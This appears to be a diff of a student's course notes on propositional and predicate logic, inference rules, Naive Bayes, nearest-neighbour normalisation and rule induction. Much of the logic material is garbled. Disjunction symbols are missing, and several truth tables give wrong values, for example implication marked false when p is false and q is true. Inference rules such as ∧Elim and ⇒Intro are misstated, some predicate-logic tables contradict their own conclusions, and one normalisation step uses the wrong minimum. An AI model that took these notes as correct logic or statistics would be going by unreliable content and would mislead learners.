- Therefore, I arrive in Glasgow at 19:53 (conclusion) Factually false but valid argument.
**Slide 9: Example of Invalid Argument**
- If I win the lottery, then I am lucky (premise).
- I do not win the lottery (premise).
- Therefore, I am unlucky (conclusion) Invalid argument with factually true premises and conclusion.
**Slide 10: Demonstrating Validity Using Truth Tables**
- View argument as implication (p ⇒ q).
- If premises entail conclusion, then argument is valid.
**Slide 12: Demonstrating Validity Using Truth Table (Example)**
- Argument: If John is an adult, then he is eligible to vote; John is an adult; Therefore, John is eligible to vote.
- Atomic Propositions: p (John is an adult), q (John is eligible to vote).
| p | q | p ⇒ q | p ∧ q |
|---|---|------|-------|
| T | T | T | T |
| F | T | F | F |
- Argument is valid because conclusion (q) is always true when premises are true.
**Slide 13: Viewing Argument as Implication**
- If premises logically imply conclusion, argument is valid.
- Example: ((p ⇒ q) ∧ p) ⇒ q
**Slide 15: Demonstrating Invalidity Using Truth Tables**
- Argument is invalid if there's at least one assignment where premises are true, but conclusion is false.
**Slide 16: Demonstrating Invalidity Using Truth Table (Example)**
- Argument: p ⇔ q; p ⇒ r; Therefore, p Invalid argument.
| p | q | r | p ⇔ q | p ⇒ r |
|---|---|------|-------|--------|
| T | T | T | T | T |
| F | T | F | F | F |
- Argument is invalid because there's a row where premises are true, but conclusion (p) is false.
**Slide 17: Exercise**
- Demonstrate the invalidity of the argument: p q; ¬p; Therefore, ¬q.
**Slide 18: Solution to Exercise**
- Atomic Propositions: p, q.
| p | q | p q | ¬p |
|---|---|------|-----|
| F | T | T | T |
- Argument is invalid because there's a row where premises are true, but conclusion (¬q) is false.
**Slide 19: A Problem with Truth Tables**
- Using truth tables to establish validity becomes tedious as the number of variables increases.
**Slide 20: Deductive Proofs**
- Approach to establishing validity using a series of simpler arguments known to be valid.
- Uses laws of logic (logical equivalences) and inference rules.
**Slide 21: Inference Rules**
- Primitive valid argument forms eliminating or introducing logical connectives.
- Categories: Intro (introduces connective), Elim (eliminates connective).
**Slide 22: The Layout of an Inference Rule**
- Premises (above the line): List of formulas already in proof.
- Conclusion (below the line): What may be deduced by applying the inference rule.
**Slide 23: Conjunction (∧Intro)**
- Introduces the connective ∧.
- Example: p, q; Therefore, p ∧ q.
**Slide 24: Simplification (∧Elim)**
- Eliminates the connective ∧.
- Example: p ∧ q; Therefore, p.
**Slide 25: Addition (Intro)**
- Introduces the connective .
- Example: p; Therefore, p q.
**Slide 26: Exercise on Disjunctive Syllogism**
- Demonstrate the validity of the inference rule using a truth table.
**Slide 27: Solution to Exercise**
- Atomic Propositions: p, q.
| p | q | ¬p |
|---|---|-----|
| F | T | T |
- Argument is valid because conclusion (q) is always true when premises are true.
**Slide 28: Modus Ponens (⇒Elim)**
- Eliminates the connective ⇒.
- Example: p ⇒ q; p; Therefore, q.
**Slide 29: Modus Tollens (⇒Elim)**
- Eliminates the connective ⇒.
- Example: p ⇒ q; ¬q; Therefore, ¬p.
**Slide 30: Other Inference Rules**
- Double Negation (¬Elim): ¬¬p; Therefore, p.
- Laws of Equivalence (⇔Elim): p ⇔ q; Therefore, p ⇒ q and q ⇒ p.
**Slide 31: Transitive Inference Rules**
- Transitivity of Equivalence: If p ≡ q and q ≡ r, then p ≡ r.
- Hypothetical Syllogism: If p ⇒ q and q ⇒ r, then p ⇒ r.
**Slide 32: Summary**
- Valid arguments: Conclusion always true when premises are true.
- Invalid arguments: At least one assignment where premises are true, but conclusion is false.
- Truth tables demonstrate invalidity.
- Inference rules deduce true propositions from other true propositions.
**Slide 33: Reading and References**
- Russell, Norvig (2022). Artificial Intelligence. 4th Edition.
- Nissanke (1999). Introductory Logic and Sets for Computer Scientists.
- Gray (1984). Logic, Algebra and Databases.

BIN
AI & Data Mining/Week 22/test.pdf Executable file

Binary file not shown.

View File

@@ -0,0 +1,16 @@
![](Pasted%20image%2020250221132524.png)
| Line | | | |
| ---- | --------------------------- | ---------- | --------------------------------- |
| 1 | $A \implies \lnot B$ | Premise | |
| 2 | $(B \lor C) \lor D$ | Premise | |
| 3 | $\lnot C \lor D \implies A$ | Premise | |
| 4 | $\lnot C$ | Premise | |
| 5 | $\lnot C \lor D$ | From 4 | $\lor Intro$ |
| 6 | $A$ | From 3 & 5 | $\implies Elim$ Modus Ponens |
| 7 | $\lnot B$ | From 1 & 6 | $\implies Elim$ Modus Ponens |
| 8 | $\lnot B \land \lnot C$ | From 2 & 7 | $\land Intro$ |
| 9 | $\lnot (B \lor C)$ | From 8 | De Morgans Law |
| 10 | $D$ | From 9 | $\lor Elim$ Disjunctive Syllogism |
B or C is not true, therefore D must be true from step 2.

View File

@@ -0,0 +1,204 @@
**Slide 3: Recap on Logical Implication (Entailment) |-|=-**
- Entailment notation: p |=q if and only if the implication p$\implies$q is a tautology.
- Example:
- p $\land$ q |=q
- Truth table for p $\implies$ q:
| p | q | p $\land$ q | p $\implies$ q |
|---|---|------|--------|
| T | T | T | T |
| T | F | F | F |
| F | T | F | T |
| F | F | F | T |
**Slide 4: (r $\implies$ s) $\land$ (r $\implies$ $\lnot$s) |-|=-**
- Intuitively, if r implies both s and $\lnot$s, then r must be false.
- Truth table for (r $\implies$ s) $\land$ (r $\implies$ $\lnot$s):
| r | s | $\lnot$s | (r $\implies$ s) $\land$ (r $\implies$ $\lnot$s) |
|---|---|---|------------------------|
| T | T | F | F |
| T | F | F | F |
| F | T | T | T |
| F | F | T | T |
**Slide 5: p $\vdash$ q**
- Notation: p $\vdash$ q means q is provable from p using inference rules.
- Example:
- A $\implies$ B, $\lnot$A, therefore $\lnot$B
**Slide 6: Differences Between |-|=- and $\vdash$**
- |= indicates semantic entailment (truth conditions).
- $\vdash$ represents syntactic derivation (inference rules).
**Slide 7: Recap on Inference Rules**
- Example inference rules:
- Modus Ponens ($\implies$Elim):
p $\implies$ q, p $\vdash$ q
- Conjunction Introduction ($\land$Intro):
p $\vdash$ q, p $\vdash$ r $\vdash$ p $\land$ q
- Conditional Proof ($\implies$Intro):
p $\vdash$ r, p $\vdash$ s $\vdash$ p $\implies$ (r $\land$ s)
**Slide 8: Layout of an Inference Rule**
- Premises above the line, conclusion below the line.
- Example inference rule ($\implies$Intro):
p $\vdash$ r, p $\vdash$ s
p $\implies$ (r $\land$ s)
**Slide 9: Presentation of Proofs**
- Steps:
- Number each step.
- Justify each step with previous line(s) and inference rule used.
**Slide 10: Deriving $\lnot$p $\implies$ r From (p $\land$ q) $\lor$ r**
- Example proof:
(p $\land$ q) $\lor$ r, $\lnot$E
$\lnot$p $\implies$ r
**Slide 11: Two Special Inference Rules**
- Deductive Theorem ($\implies$Intro):
p $\vdash$ r, p $\vdash$ s
p $\implies$ (r $\land$ s)
- Reductio ad absurdum ($\lnot$Intro):
p $\vdash$ r, p $\vdash$ $\lnot$s
p $\vdash$ $\lnot$r
**Slide 12: Conditional Proofs**
- Strategy: Assume p, deduce q if possible, discharge assumption.
- Example:
(p $\land$ q) $\lor$ r
$\lnot$p $\implies$ r
**Slide 13: Indirect Proofs**
- Strategy: Assume negation of goal, deduce contradiction.
- Example:
(p $\land$ q) $\lor$ r
$\lnot$p $\implies$ r
**Slide 14: Solution to Exercise**
Given argument:
A (You eat carefully) ⇒ B (You have a healthy digestive system)
C (You exercise regularly) ⇒ D (You are very fit)
B D ⇒ E (You live to a ripe old age)
¬E
Therefore, ¬A ∧ ¬C
**Proof:**
| Line | Formula | Justification |
| ---- | --------- | -------------------- |
| 1 | A ⇒ B | Premise |
| 2 | C ⇒ D | Premise |
| 3 | B D ⇒ E | Premise |
| 4 | ¬E | Premise |
| 5 | ¬(B D) | Modus Tollens (3, 4) |
| 6 | ¬B ∧ ¬D | De Morgan's Law (5) |
| 7 | ¬B | ∧Elim (6) |
| 8 | ¬A | Modus Tollens (1, 7) |
| 9 | ¬D | ∧Elim (6) |
| 10 | ¬C | Modus Tollens (2, 9) |
| 11 | ¬A ∧ ¬C | ∧Intro (8, 10) |
**Conclusion:**
We have proven that ¬A ∧ ¬C, i.e., you did not eat carefully and you did not exercise regularly.
**Slide 15: Two Special Inference Rules (continued)**
- Deductive Theorem:
p $\vdash$ r, p $\vdash$ s
p $\implies$ (r $\land$ s)
- Reductio ad absurdum:
p $\vdash$ r, p $\vdash$ $\lnot$s
p $\vdash$ $\lnot$r
**Slide 16: Soundness and Completeness**
- Sound: Valid argument with true premises.
- Complete: Derives any sentence entailed by premises.
**Slide 17: Formal Proofs of Natural Language Arguments**
- Steps:
- Identify atomic propositions.
- Formalize argument in logic.
- Check for invalidity.
- Attempt proof.
**Slide 18: Example - Travel**
- Argument:
Therefore, if my neighbours claim to be impressed then they are just pretending.
**Slide 19: Example - Travel (continued)**
- Formalize argument:
p $\implies$ q, $\lnot$p $\implies$ $\lnot$r, $\lnot$q
$\lnot$r
- Proof:
$\lnot$p $\implies$ r
**Slide 20: Example - Nutrition**
- Argument:
Therefore, you did not eat carefully and you did not exercise regularly.
**Slide 21: Example - Nutrition (continued)**
- Formalize argument:
A $\implies$ B, C $\implies$ D, B $\lor$ D $\implies$ E, $\lnot$E
$\lnot$A $\land$ $\lnot$C
- Proof:
$\lnot$A $\land$ $\lnot$C
**Slide 22: Application to Software Engineering**
- Questions about software specifications and claims are arguments.
**Slide 23: Reading and References**
- Russell and Norvig, Artificial Intelligence (4th Edition)
- Nissanke, Introductory Logic and Sets for Computer Scientists
- Gray, Logic, Algebra and Databases

BIN
AI & Data Mining/Week 23/test.pdf Executable file

Binary file not shown.

View File

@@ -0,0 +1,18 @@
1. Just the following propositions hold true:
1. male(Ahmed) male(Patel) male(Scott) tall(Ahmed) tall(Patel) short(Khan) short(Scott)
Evaluate the truth of the following formula
| x | tall(x) | male(x) | short(x) | $\lnot$short(x) | male(x) $\land \lnot$short(x) | tall(x) $\iff$ male(x) $\land \lnot$short(x) | $\forall x \bullet$tall(x) $\iff$ male(x) $\land \lnot$short(x) |
| --- | ------- | ------- | -------- | --------------- | ----------------------------- | -------------------------------------------- | --------------------------------------------------------------- |
| Ah | T | T | F | T | T | T | |
| Kh | F | F | T | F | F | T | |
| Pa | T | T | F | T | T | T | |
| Sc | F | T | T | F | F | T | |
| | | | | | | | T |
2. Using appropriate binary predicates, express each of the following sentences in predicate logic
a) Salford stores only supply stores outside of Salford.
- $\forall x \bullet \forall y \bullet \textsf{in(x, Salford)} \land \textsf{supples}$
b) No store supplies itself
c) There are no stores in Eccles but there are some in Trafford.
d) Stores do not supply stores that are supplied by stores which they supply
e) Stores which supply each other are always in the same place

View File

@@ -0,0 +1,171 @@
**Slide 1: Learning Objectives**
- Understand when the order of quantifiers is important.
- Understand how ∀ and ∃ are connected.
- Use and remember scoping rules.
- Identify bound and free variables in formulae.
- Establish the truth of formulae in predicate logic.
- Understand why predicate logic is described as undecidable.
- Understand the difference between zero-order, first-order, and higher-order predicate logics.
**Slide 2: Objectives & Recap**
- Quantifiers and their alternative view.
- Distributive laws of quantifiers.
- De Morgan's laws with quantifiers.
- Scope of quantifiers.
- Bound and free variables.
**Slide 3: The Universal Quantifier (∀)**
- Pronounced as "for all".
- Example: ∀x (human(x) ⇒ mortal(x)) = All humans are mortal.
- In terms of conjunction: ∀x p(x) ≡ p(x₁) ∧ p(x₂) ∧... ∧ p(xₙ)
**Slide 4: The Existential Quantifier (∃)**
- Pronounced as "there exists" or "for some".
- Example: ∃x (human(x) ∧ happy(x)) = Some humans are happy.
- In terms of disjunction: ∃x p(x) ≡ p(x₁) p(x₂) ... p(xₙ)
**Slide 5: Distributive Laws of Quantifiers**
- ∀x (p(x) ∧ q(x)) ≡ (∀x p(x)) ∧ (∀x q(x))
- ∃x (p(x) q(x)) ≡ (∃x p(x)) (∃x q(x))
**Slide 6: The Order of Quantification**
- Example 1 (Everyone loves someone): ∀x ∃y loves(x, y)
- Example 2 (There is someone loved by everyone): ∃y ∀x loves(x, y)
**Slide 7: De Morgan's Laws and Quantifiers**
- ¬∃x p(x) ≡ ∀x ¬p(x)
- ¬∀x p(x) ≡ ∃x ¬p(x)
**Slide 8: Scope of Quantifiers**
- In absence of brackets, scope extends to the end of the formula.
- Brackets can enforce different scoping patterns.
**Slide 9: Bound and Free Variables**
- Bound variable: occurrence introduced by a quantifier within its scope.
- Example:
```
Formula Variable status
child(x) Only one occurrence of x, free.
∀x child(x) ∧ clever(x) Both occurrences of x are bound by the same quantifier.
((∀x child(x)) ∧ clever(x)) The first occurrence of x is bound, the second is free.
```
- Free variable: occurrence not within any quantifier's scope.
**Slide 10: Meaning of Bound Variables**
- The meaning of a bound variable does not depend on its name.
- Example:
```
∀x (child(x) ∧ clever(x)) ⇒ ∃y loves(y, x)
∀B (child(B) ∧ clever(B)) ⇒ ∃C loves(C, B)
```
**Slide 11: Meaning of Free Variables**
- Free variables denote unknowns or unspecified objects.
- Example:
```
∀x (child(x) ∧ clever(x)) ⇒ x is loved.
∀x (child(x) ∧ clever(x)) ⇒ z is loved.
```
**Slide 12: Exercise**
- Identify bound and free variables in the formula:
```
∃x taller(y, x) ∃x ∃y taller(x, y) ∧ taller(x, z)
```
- Solution:
- In the first formula: x is bound, y is free.
- In the second formula: y is bound by ∃y, z is free. Both occurrences of x are bound and refer to the same variable.
**Slide 13: The Equality Symbol (=)**
- ⊢ Richard has at least two brothers:
```
∃x ∃y (brother(x, richard) ∧ brother(y, richard) ∧ ¬(x = y))
```
- Definition of sibling using parent:
```
∀x ∀y sibling(x, y) ≡ (¬(x = y) ∧ ∃m ∃f ¬(m = f) ∧ parent(m, x) ∧ parent(f, x) ∧ parent(m, y) ∧ parent(f, y))
```
**Slide 14: Establishing the Truth Values of Formulae**
- Example (slide 21 and 22):
- Individuals: Ahmed, Khan, Patel, Scott.
- Properties: male, tall, short.
- Formula: ∀x (male(x) ⇒ tall(x) short(x))
- Truth table shows the formula is false (Patel is male but not tall or short).
**Slide 15: Exercise**
- Given individuals, properties, and true propositions as in slide 23.
- Evaluate the truth of: ∀x ¬male(x) ⇒ short(x)
- Solution (slide 24):
```
x male(x) ¬male(x) short(x) ¬male(x) ⇒ short(x)
Ahmed T F F F T
Khan F T T T T
Patel T F F F T
Scott T F T F F
```
- The formula is false (Patel is male but not short).
**Slide 16: Example Involving ∃**
- Given individuals, properties, and true propositions as in slide 25.
- Formula: ∃x (male(x) ∧ ¬tall(x) ⇒ short(x))
- Truth table (slide 26):
```
x male(x) ¬tall(x) short(x) ¬tall(x) ⇒ short(x) male(x) ∧ ¬tall(x) ⇒ short(x)
Ahmed T F F F T T
Khan F F T F F F
Patel T F F F F F
Scott T T T F T F
```
- The formula is true (Scott is male, not tall but short).
**Slide 17: Exercise**
- Given individuals, properties, and true propositions as in slide 27.
- Evaluate the truth of: ∃x (male(x) ∧ (tall(x) ¬short(x)))
- Solution (slide 28):
```
x male(x) tall(x) short(x) ¬short(x) tall(x) ¬short(x) male(x) ∧ (tall(x) ¬short(x))
Ahmed T T F T T T T
Khan F F T F F F F
Patel T T F F T T F
Scott T F T F F F F
```
- The formula is true (Ahmed and Patel are males, tall or not short).
**Slide 29: Predicate Logic is Undecidable**
- Universal quantification introduces computational impossibility when testing truth values with an infinite number of possible values.
**Slide 30: First-order Predicate Logic**
- Quantifiers refer only to objects (constants), not predicate or function names.
- Propositional logic is zero-order logic.
**Slide 31: Summary**
- Order of quantifiers matters when both ∀ and ∃ are present.
- Quantifiers are connected through negation, obey De Morgan's laws.
- Scope of quantifiers extends to the end of the formula without brackets.
- Bound variables are introduced by a quantifier within its scope; free variables are not within any quantifier's scope.
**Slide 32: Reading, References and Acknowledgements**
- Reading from Artificial Intelligence textbook by Russell and Norvig.
- References: Introductory Logic and Sets for Computer Scientists by Nissanke.

View File

@@ -0,0 +1,159 @@
### **Slide Notes:**
---
#### **Slide 0: Learning Objectives**
- Identify genuine variables and variables standing for unknowns.
- Describe the role of inference rules for eliminating and introducing quantifiers.
- Justify constraints on handling variables when eliminating and introducing quantifiers.
- Conduct proofs in predicate logic.
- Prove the validity of an argument presented in English.
---
#### **Slide 1: Contents**
- Recap on inference rules
- Deductive proof in predicate logic
- Genuine variables versus unknown variables
- Extra inference rules for predicate logic
- Constraints on variables
- Summary, reading and references
---
#### **Slide 2: Recap on Inference Rules**
| **Connective** | **Introduction Rule** | **Elimination Rule** |
| ------------------ | --------------------------------------------------------------------- | ------------------------------------------------------------ |
| ∧ (and) | ∧ Intro:$p, q \vdash p \land q$ | ∧ Elim:$p \land q, p \vdash q$ |
| (or) | Intro:$p \vdash p \lor q$,$q \vdash p \lor q$ | Elim:$p \vdash \varnothing$,$p \lor q \vdash \varnothing$x |
| ¬ (not) | N/A | ¬ Elim:$\neg p, q \vdash p$ |
| ⇒ (implies) | ⇒ Intro:$p, p \Rightarrow q \vdash q$ | ⇒ Elim (Modus Ponens):$p \Rightarrow q, p \vdash q$ |
| ⇔ (if and only if) | ⇔ Intro:$p \Rightarrow q, q \Rightarrow p \vdash p \leftrightarrow q$ | ⇔ Elim:$p \leftrightarrow q, p, q \vdash \varnothing$ |
---
#### **Slide 3: Deductive Proof in Predicate Logic**
1. Reduce formulae to propositional form by removing quantifiers.
2. Manipulate formulae using inference rules and logical laws of propositional logic.
3. Reintroduce quantifiers at the end, depending on the goal.
---
#### **Slide 4: Genuine Variables vs. Unknown Variables**
- **Genuine variable**:
- A free variable whose universal quantification yields a true formula.
- **Unknown variable**:
- A free variable whose existential quantification yields a true formula.
---
#### **Slide 5: Exercise**
**Example**:
-$\frac{9}{z} = 3$
-$\text{even}(n) \lor \text{odd}(n)$
| **Variable** | **Status** | **Justification** |
|--------------|-------------------------|-----------------------------------|
|$z$ | Unknown variable |$\exists z \cdot \frac{9}{z} = 3$|
|$n$ | Genuine variable |$\forall n \cdot (\text{even}(n) \lor \text{odd}(n))$|
---
#### **Slide 6: Extra Inference Rules for Predicate Logic**
| **Quantifier** | **Introduction Rule** | **Elimination Rule** |
|-----------------|----------------------------------------|---------------------------------------------------|
|$\forall$(for all) |$\forall \text{Intro}: \varphi(x), x \neq y \vdash \varphi(x)$|$\forall \text{Elim}: \forall x \cdot \varphi(x), \varphi(x) \vdash \varnothing$|
|$\exists$(there exists) |$\exists \text{Intro}: \varphi(x), x \neq y \vdash \exists x \cdot \varphi(x)$|$\exists \text{Elim}: \exists x \cdot \varphi(x), \varphi(x) \vdash \varnothing$|
---
#### **Slide 7: Freeing Variables from$\forall$**
- Example:
-$\forall x \cdot \text{lecturer}(x), \text{lecturer}(bryant)$
-$\forall x \cdot \text{lecturer}(x), \text{lecturer}(y)$
-$y$is a genuine variable.
---
#### **Slide 8: Freeing Variables from$\exists$**
- Example:
-$\exists x \cdot \text{student}(x), \text{student}(y)$
-$y$is an unknown variable.
---
#### **Slide 9: Introduction of$\forall$**
- Constraint:
- Do not introduce$\forall$on the basis of an individual (a constant).
---
#### **Slide 10: Constraint 1**
- When eliminating$\exists$, do not instantiate its variable with a constant.
---
#### **Slide 11: Constraint 2**
- When eliminating$\exists$, do not instantiate its variable with an existing free variable.
---
#### **Slide 12: Constraint 3**
- Do not introduce$\forall$on the basis of an individual (a constant).
---
#### **Slide 13: Constraint 4**
- Do not introduce$\forall$on the basis of an unknown.
---
#### **Slide 14: Constraint 5**
- Do not quantify a variable by introducing$\forall$in a formula if the formula contains another var obtained by eliminating$\exists$.
---
#### **Slide 15: Constraint 6**
- Within the scope of an assumption, do not introduce$\forall$on the basis of a variable appearing in the assumption.
---
#### **Slide 16: Constraint 7**
- Every instantiation, whether following the elimination of a$\forall$or$\exists$, must always be done with a free var, rather than a bound var.
---
#### **Slide 17: Constraint 8**
- Beware of binding any newly quantified var by an unintended quantifier.
---
#### **Slide 18: Summary**
- Use inference rules to eliminate and introduce logical connectives.
- Handle quantifiers carefully, following constraints when eliminating and introducing them.
---
#### **Slide 19: Summary of Constraints**
1. Do not assume a property holds for a particular individual based on it holding for at least one individual.
2. When eliminating$\exists$, do not instantiate its var with a constant or existing free var.
3. Do not introduce$\forall$on the basis of a constant or unknown.
4. Do not quantify a variable by introducing$\forall$if the formula contains another var from$\exists$elimination.
5. Within an assumption, do not introduce$\forall$based on a var in the assumption.
6. Instantiate variables only with free vars, not bound vars.
7. Avoid binding newly quantified vars by unintended quantifiers.
---
#### **Slide 20: Deducing a Conclusion**
Example:
1.$\forall x \cdot (\text{master}(x) \lor \text{slave}(x)) \Rightarrow \text{adult}(x) \land \text{man}(x)$
2.$\neg \forall x \cdot (\text{adult}(x) \land \text{man}(x))$
3.$\exists x \cdot (\neg (\text{adult}(x) \land \text{man}(x)))$
4.$\neg (\text{master}(x) \lor \text{slave}(x))$
5.$\neg \text{master}(x) \land \neg \text{slave}(x)$
6.$\neg \text{master}(x)$
7.$\exists y \cdot (\neg \text{master}(y))$
---

View File

@@ -55,13 +55,17 @@
# Modified Probability Estimates # Modified Probability Estimates
- Consider attribute *outlook* for class *yes* - Consider attribute *outlook* for class *yes*
# $\frac{2+\frac{1}{3}\mu}{9+\mu}$ # $\frac{2+\frac{1}{3}\mu}{9+\mu}$
Sunny Sunny
# $\frac{4+\frac{1}{3}\mu}{9+\mu}$ # $\frac{4+\frac{1}{3}\mu}{9+\mu}$
Overcast Overcast
# $\frac{3+\frac{1}{3}\mu}{9+\mu}$ # $\frac{3+\frac{1}{3}\mu}{9+\mu}$
Rainy Rainy
- Each value treated the same way - Each value treated the same way
@@ -73,12 +77,15 @@ Rainy
## Fully Bayesian Formulation ## Fully Bayesian Formulation
# $\frac{2+\frac{1}{3}\mu p_1}{9+\mu}$ # $\frac{2+\frac{1}{3}\mu p_1}{9+\mu}$
Sunny Sunny
# $\frac{4+\frac{1}{3}\mu p_2}{9+\mu}$ # $\frac{4+\frac{1}{3}\mu p_2}{9+\mu}$
Overcast Overcast
# $\frac{3+\frac{1}{3}\mu p_3}{9+\mu}$ # $\frac{3+\frac{1}{3}\mu p_3}{9+\mu}$
Rainy Rainy
- Where $p_1 + p_2 + p_3 = 1$ - Where $p_1 + p_2 + p_3 = 1$

View File

@@ -27,7 +27,9 @@
| High | 2/5 | 1/9 | Red | 3/5 | 2/9 | | | | | | | | | | High | 2/5 | 1/9 | Red | 3/5 | 2/9 | | | | | | | | |
# Problem 1 # Problem 1
# $Pr[Diagnosis=N|E] = \frac{2}{5} \times \frac{2}{5} \times \frac{4}{5} \times \frac{3}{5} \times \frac{5}{14} = 0.027428571$ # $Pr[Diagnosis=N|E] = \frac{2}{5} \times \frac{2}{5} \times \frac{4}{5} \times \frac{3}{5} \times \frac{5}{14} = 0.027428571$
# $Pr[Diagnosis = B|E] = \frac{3}{9} \times \frac{4}{9} \times \frac{3}{9} \times \frac{3}{9} \times \frac{9}{14} = 0.010582011$ # $Pr[Diagnosis = B|E] = \frac{3}{9} \times \frac{4}{9} \times \frac{3}{9} \times \frac{3}{9} \times \frac{9}{14} = 0.010582011$
# $p(B) = \frac{0.0106}{0.0106+0.0274} = 0.2789$ # $p(B) = \frac{0.0106}{0.0106+0.0274} = 0.2789$
@@ -39,8 +41,11 @@ Diagnosis N is much more likely than Diagnosis B
# Problem 2 # Problem 2
# $Pr[Diagnosis = N|E] = \frac{2}{5} \times \frac{1}{5} \times \frac{3}{5} \times \frac{5}{14} = 0.0171$ # $Pr[Diagnosis = N|E] = \frac{2}{5} \times \frac{1}{5} \times \frac{3}{5} \times \frac{5}{14} = 0.0171$
# $Pr[Diagnosis = B|E] = \frac{3}{9} \times \frac{6}{9} \times \frac{3}{9} \times \frac{9}{14} = 0.0476$ # $Pr[Diagnosis = B|E] = \frac{3}{9} \times \frac{6}{9} \times \frac{3}{9} \times \frac{9}{14} = 0.0476$
# $p(N) = \frac{0.0171}{0.0171+0.0476} = 0.2643$ # $p(N) = \frac{0.0171}{0.0171+0.0476} = 0.2643$
# $p(B) = \frac{0.0474}{0.0476+0.0171} = 0.7357$ # $p(B) = \frac{0.0474}{0.0476+0.0171} = 0.7357$
Diagnosis B is much more likely than Diagnosis N Diagnosis B is much more likely than Diagnosis N
@@ -48,4 +53,5 @@ Diagnosis B is much more likely than Diagnosis N
# Problem 3 # Problem 3
# $Pr[Diagnosis = N|E] = \frac{0}{5} \times \frac{2}{5} \times \frac{4}{5} \times \frac{3}{5} \times \frac{5}{14} = 0$ # $Pr[Diagnosis = N|E] = \frac{0}{5} \times \frac{2}{5} \times \frac{4}{5} \times \frac{3}{5} \times \frac{5}{14} = 0$
# $Pr[Diagnosis = B|E] = \frac{5}{9} \times \frac{4}{9} \times \frac{3}{9} \times \frac{3}{9} \times \frac{9}{14} = 0.018$ # $Pr[Diagnosis = B|E] = \frac{5}{9} \times \frac{4}{9} \times \frac{3}{9} \times \frac{3}{9} \times \frac{9}{14} = 0.018$

View File

@@ -12,6 +12,7 @@
# $a_i = \frac{v_i - minv_i}{maxv_i - minv_i}$ # $a_i = \frac{v_i - minv_i}{maxv_i - minv_i}$
Where: Where:
- $a_i$ is normalised value for attribute $i$ - $a_i$ is normalised value for attribute $i$
- $v_i$ is the current value for attribute $i$ - $v_i$ is the current value for attribute $i$
- $maxv_i$ is largest value of attribute $i$ - $maxv_i$ is largest value of attribute $i$
@@ -20,7 +21,9 @@ Where:
## Example ## Example
# $maxv_{humidity} = 96$ # $maxv_{humidity} = 96$
# $minv_{humidity} = 65$ # $minv_{humidity} = 65$
# $v_{humidity} = 80.5$ # $v_{humidity} = 80.5$
# $a_i = \frac{80.5-65}{96-55} = \frac{15.5}{31} = 0.5$ # $a_i = \frac{80.5-65}{96-55} = \frac{15.5}{31} = 0.5$
@@ -28,8 +31,11 @@ Where:
## Example (Transport Dataset) ## Example (Transport Dataset)
# $maxv_{doors} = 5$ # $maxv_{doors} = 5$
# $minv_{doors} = 2$ # $minv_{doors} = 2$
# $v_{doors} = 3$ # $v_{doors} = 3$
# $a_i = \frac{3-2}{5-2} = \frac{1}{3}$ # $a_i = \frac{3-2}{5-2} = \frac{1}{3}$
# Nearest Neighbor Applied (Transport Dataset) # Nearest Neighbor Applied (Transport Dataset)
@@ -39,9 +45,13 @@ Where:
- Right most column shows euclidean distances between each vehicle and new vehicle - Right most column shows euclidean distances between each vehicle and new vehicle
- New vehicle is closest to the 1st example, a taxi, NN predicts taxi - New vehicle is closest to the 1st example, a taxi, NN predicts taxi
![](Pasted%20image%2020241010133818.png) ![](Pasted%20image%2020241010133818.png)
# $vmin_{doors} = 2$ # $vmin_{doors} = 2$
# $vmax_{doors} = 5$ # $vmax_{doors} = 5$
# $vmin_{seats} = 7$ # $vmin_{seats} = 7$
# $vmax_{seats} = 65$ # $vmax_{seats} = 65$
# Missing Values # Missing Values
@@ -85,13 +95,13 @@ Where:
## Euclidean Distance ## Euclidean Distance
# $\sqrt{(a_1-a_1')^2) + (a_2-a_2')^2 + ... + (a_n-a_n')^2}$ # $\sqrt{(a_1-a_1')^2) + (a_2-a_2')^2 + + (a_n-a_n')^2}$
Where $a$ and $a'$ are two examples with $n$ attributes and $a'$ is the value of attribute $i$ for $a$ Where $a$ and $a'$ are two examples with $n$ attributes and $a'$ is the value of attribute $i$ for $a$
## Manhattan Distance ## Manhattan Distance
# $|a_1-a_1'|+|a_2-a_2'|+...+|a_n-a_n'|$ # $|a_1-a_1'|+|a_2-a_2'|++|a_n-a_n'|$
Vertical bar means absolute value Vertical bar means absolute value
Negative becomes positive Negative becomes positive
@@ -109,4 +119,3 @@ Euclidean distance is generally a good compromise
- Does not detect noise - Does not detect noise
- Use k-NN, get k closest examples and take majority vote on solutions - Use k-NN, get k closest examples and take majority vote on solutions
![](Pasted%20image%2020241011131542.png) ![](Pasted%20image%2020241011131542.png)

View File

@@ -1,18 +1,21 @@
![](Pasted%20image%2020241011131844.png) ![](Pasted%20image%2020241011131844.png)
## Normalisation Equation ## Normalisation Equation
# $a_i = \frac{v_i - minv_i}{maxv_i - minv_i}$
## Euclidean Distance Equation
# $\sqrt{(a_1-a_1')^2) + (a_2-a_2')^2 + ... + (a_n-a_n')^2}$
# $a_i = \frac{v_i - minv_i}{maxv_i - minv_i}$
## Euclidean Distance Equation
# $\sqrt{(a_1-a_1')^2) + (a_2-a_2')^2 + … + (a_n-a_n')^2}$
# $vmax_{temp} = 85$ # $vmax_{temp} = 85$
# $vmin_{temp} = 64$ # $vmin_{temp} = 64$
# $a_{temp} = \frac{v_{temp} - 64}{21}$ # $a_{temp} = \frac{v_{temp} - 64}{21}$
# $vmax_{humidity} = 96$ # $vmax_{humidity} = 96$
# $vmin_{humidity} = 65$ # $vmin_{humidity} = 65$
# $a_{humidity} = \frac{v_{humidity} - 65}{31}$ # $a_{humidity} = \frac{v_{humidity} - 65}{31}$

View File

@@ -18,6 +18,7 @@
## Selecting a Test ## Selecting a Test
Goal: Maximise probability of desired class Goal: Maximise probability of desired class
- $t$ = total number of examples covered by rule - $t$ = total number of examples covered by rule
- $p$ = number of positive examples of the class covered by rule - $p$ = number of positive examples of the class covered by rule
- $t - p$ = number of errors made by rule - $t - p$ = number of errors made by rule
@@ -44,7 +45,7 @@ Stop Condition: $t-p=0$
![](Pasted%20image%2020241017131912.png) ![](Pasted%20image%2020241017131912.png)
#### Modified Rule and its Coverage #### Modified Rule and Its Coverage
- Rule with best test added: If astigmatism = Yes and tear rate = Normal { then recommendation = Hard } - Rule with best test added: If astigmatism = Yes and tear rate = Normal { then recommendation = Hard }
![](Pasted%20image%2020241017132019.png) ![](Pasted%20image%2020241017132019.png)
@@ -92,4 +93,4 @@ For each class C
- Default Rule - Default Rule
- If no rules cover example, prediction is the majority class (most frequent in training data) - If no rules cover example, prediction is the majority class (most frequent in training data)
- Conflict Resolution Strategy - Conflict Resolution Strategy
- If more than one rule covers an example, select predicted class with highest recurrance in training data - If more than one rule covers an example, select predicted class with highest recurrence in training data

View File

@@ -41,6 +41,7 @@ IF Income = 0-15k THEN risk = high
